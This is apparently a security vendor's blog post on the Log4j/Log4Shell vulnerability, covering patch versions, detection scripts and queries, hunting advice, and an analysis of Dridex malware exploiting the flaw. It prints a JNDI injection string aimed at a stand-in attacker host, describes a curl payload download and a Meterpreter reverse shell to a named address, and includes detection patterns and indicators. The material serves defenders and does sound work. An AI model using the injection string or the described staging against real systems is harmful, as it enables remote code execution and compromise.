Featured image
Truesec pattern
Blog
2021-12-14
A Truesec Summary

Log4j / Log4Shell Explained - All You Need to Know

On the 9th of December 2021, a vulnerability, CVE-2021-44228, was disclosed concerning Apache Log4j, a popular open-source library. The vulnerability allows remote code execution and has been assigned a severity of 10.0, the highest possible.
Nicklas Keijser
6 min readNicklas Keijser
Share

This blog post will be continuously updated with all relevant information Truesec possess regarding Log4j / Log4Shell.

Current Status

UPDATE 8, December 22, 2021, 15:05 UTC

Analysis of Dridex malware exploiting Log4j added, see Exploitation and weaponization

UPDATE 7, December 20, 2021, 10:15 UTC

Illustration from Microsoft how exploitation can be detected, see Exploit Detection

UPDATE 6, December 18, 2021, 08:25 UTC

Update regarding the vulnerability, CVE-2021-45105, in version 2.16, see The Log4Shell Vulnerability

UPDATE 5, December 17, 2021, 12:40 UTC

Added Truesec script for parsing to combine output from multiple systems and produce a single CSV, see Vulnerability Detection

UPDATE 4, December 17, 2021, 08:55 UTC

Detection for Log4j vulnerability added in Microsoft Defender for Endpoint and Microsoft Sentinel, see Vulnerability Detection

UPDATE 3, December 17, 08:40 UTC

Update regarding the vulnerability, CVE-2021-45046, in version 2.15, see The Log4Shell Vulnerability

UPDATE 2, December 16, 2021, 13:50 UTC

Added Truesec scripts to check for possible vulnerable Log4j instances, see Vulnerability Detection

UPDATE 1, December 15, 2021, 14:50 UTC

Change of recommendation regarding Exploit Detection

The Log4Shell Vulnerability

The latest version is 2.17 and the patch that should be applied.

The initial vulnerability, CVE-2021-44228, affecting version 2.14.1 and below was first corrected in version 2.15. It was discovered that version 2.15 also had a vulnerability, CVE-2021-45046, that initially had a low severity that now has been upgraded to critical. See Apaches security bulletin here, for update information regarding the latest fix.

The correction in version 2.17, CVE-2021-45105, concerns a DOS condition due to uncontrolled recursion from self-referential lookups when the logging configuration uses a non-default Pattern Layout. The severity is high, and not critical, so if version 2.16 is applied the urgency to apply the patch is not instant, but that depends on risk acceptance and implementation.

There are several exploits publicly available so if your organization has had a vulnerable device or system exposed to the internet, assume it has been compromised and should be investigated.

The vulnerability is made possible by the way in which strings are processed before they are saved to a log file. With the using ${} to evaluate the expression. In Log4j Java Naming and Directory (JNDI) it is used by the programmer for remote lookup using different protocols and services. This can be exploited by, for example using the LDAP protocol with the following expression.

${jndi: ldap://THEATTACKERSHOST:PORT} 

Vulnerable Systems

The extent of the vulnerability is massive. There are many systems that use log4j and the list is expanding. There are several lists that are continually being updated. NCSC-NL provides a list of systems telling of they are vulnerable or not.

Additional resources to different security bulletins released by different vendors:

Vulnerability Detection

Truesec has developed scripts, for Linux and Windows, that check for possible vulnerable Log4j instances. The script will also check for nested Java files (.jar, .war, .ear) in one sublevel and look for the same classes and patterns inside of those.
There is a additional script for parsing to combine output from multiple systems and produce a single CSV.

The scripts can be found on the Truesec GitHub repository

Microsoft has add detection for Log4j vulnerability in Microsoft Defender for Endpoint and Microsoft Sentinel

Exploit Detection

Recommended by Microsoft

Look for exploitation of this vulnerability using known parameters in the malicious string. This query surfaces exploitation but may surface legitimate behavior in some environments.

DeviceProcessEvents | where ProcessCommandLine has_all('${​​jndi') and ProcessCommandLine has_any('ldap', 'ldaps', 'http', 'rmi', 'dns', 'iiop') //Removing FPs | where not(ProcessCommandLine has_any('stackstorm', 'homebrew')) 

Truesec has noted that detection rules recommended by Microsoft, CrowdStrike, and others are focusing on the usage of a PoC exploit (on the attacker side).

Truesec has conducted tests to determine which events could be relevant on the victim's side. Below figure shows Defender for Endpoint events during successful exploitation of a typical java web application.

Exploit

Note, in this example cmd.exe is started. Other processes than can be spawned as well

Exploit-timeline

We recommend not relying on the recommended rules and instead engage in threat hunting:

- Investigate outbound connections from Java processes

- Investigate suspicious child processes of Java processes (cmd, Powershell, etc.)

- Note that exploitation can be done without spawning a child process, therefore you must combine these two.

These hunting queries should be the basis for your long-term detection rules. However, Java applications are diverse and thus the rules would need significant environment specific trimming to not generate too many false positives.

Possible Vulnerable Applications via M365D Threat and Vulnerability Management

This query looks for possibly vulnerable applications using the affected Log4j component. Please triage the results to determine applications and programs that may need to be patched and updated.

DeviceTvmSoftwareInventory | where SoftwareName contains “log4j” | project DeviceName, SoftwareName, SoftwareVersion 

Microsoft has made an illustration showing ways of exploitation and how detection is possible.

Powershell: Find running Java & Log4J

Get-WmiObject Win32_Process | Select-Object CommandLine | findstr java 
Get-WmiObject Win32_Process | Select-Object CommandLine | findstr log4j 


Florian Roth has released tools, tricks and YARA rules to detect exploitation of log4j. Go to GitHub.

Emerging Threats has released out-of-band rules, SID range 2034647-2034652, for Suricata and Snort. Learn more on their Twitter.

Exploitation and weaponization

Truesec Threat Intelligence team have looked at some of the malware, especially the one targeting Windows systems.

Dridex

On the 20th of December Cryptolaemus wrote on Twitter that Dridex now is exploiting Log4j.

The first stage is to execute a Java class file that is constructed in a modular way, depending on if it is Windows or a Linux system, that can be visualized like this.


If the file runs on a non-Windows system, it assumes it is a Linux system and will then download a file called m.py using curl from cucsur[.]udgvirtual[.]udg[.]mx
The file is a base64 encoded payload that installs a Meterpreter reverse shell to 185[.]254[.]196[.]122:4445

If it runs on Windows system a hta file is tried to be downloaded, using an array with several different URLs but all located at alldomaininfo[.]com, and executed with
cmd starting mshta.

The hta files, that are obfuscated in several layers, tries to install a vbs script in C:\ProgramData and then execute it with wscript. The hta also includes the URLs to download the last payload. The following recipe in CyberChef can extract all the URLs from the hta files

Find_/_Replace({'option':'Simple string','string':'time_start = DateAdd("s", 60, Now)'},'',true,false,true,false)
Regular_expression('User defined','\\d{2,3}',true,true,false,false,false,false,'List matches')
From_Decimal('Line feed',false)
Find_/_Replace({'option':'Simple string','string':'+1-1'},'',true,false,true,false)
Find_/_Replace({'option':'Simple string','string':'""'},'',true,false,true,false)
Find_/_Replace({'option':'Simple string','string':'¤'},'',true,false,true,false)
Subsection('[0-9]{2,3}',true,true,false)
From_Decimal('Space',false)
Merge()
Find_/_Replace({'option':'Simple string','string':'Chr'},'',true,false,true,false)
Find_/_Replace({'option':'Simple string','string':'('},'',true,false,true,false)
Find_/_Replace({'option':'Simple string','string':')'},'',true,false,true,false)
Find_/_Replace({'option':'Simple string','string':'"'},'',true,false,true,false)
Find_/_Replace({'option':'Regex','string':' & '},'',true,false,true,false)
Find_/_Replace({'option':'Simple string','string':'Array'},'',true,false,true,false)
Extract_URLs(false)

The recipe has been executed on 60 samples with the following IoC

cucsur[.]udgvirtual[.]udg[.]mx
bpnjabar[.]tams-app[.]com
daftar[.]site
csminas[.]ddns[.]net
preusz[.]com
ioa[.]sool3[.]com[.]ar
fotofokusstudio[.]in
medino[.]co[.]in
skyviewonlineltd[.]com
dev2-admin[.]ycbnt[.]net
www[.]fixstudio[.]co[.]kr
snail[.]chetsapp[.]de

Before the download is made the script checks if the computer is connected to a domain by comparing environment variables:
$env:$USERDOMAIN <> $env:LOGONSERVER

If the computer is connected to a domain a DLL is then downloaded, to C:\Programdata, and wmic runs it using rundll32 and register it as a service with regsvr32. The vbs script looks like this after deobfuscation


Mitigation

We strongly recommend patching to the latest version, 2.17, but there are some mitigating factors, check out Sebastian Olssons blog post here.

Additional resources

Resources About The Log4Shell

The Log4Shell Injection Vulnerability: Impact and Response

A technical analyze of the impact of the published Apache Log4j2 vulnerability and the nature of how exploitation is made possible.

How To Secure Your VMware Horizon, UAG and vCenter Servers

A blogpost about the impact on VMware Horizon, UAG and vCenter Servers, after the Log4Shell vulnerability (CVE-2021-44228)

Recorded Webinar on What You Need to Know about Log4Shell

Our cybersecurity experts Fabio Viggiani, Hasain Alshakarti and Sebastian Olsson provide the latest information on what happened, the types of cyberattacks we have seen, and what you can do to protect your organization.

Stay ahead in cyber

Join 1000+ other cyber professionals and get our regular updates with cyber knowledge and technical know-how.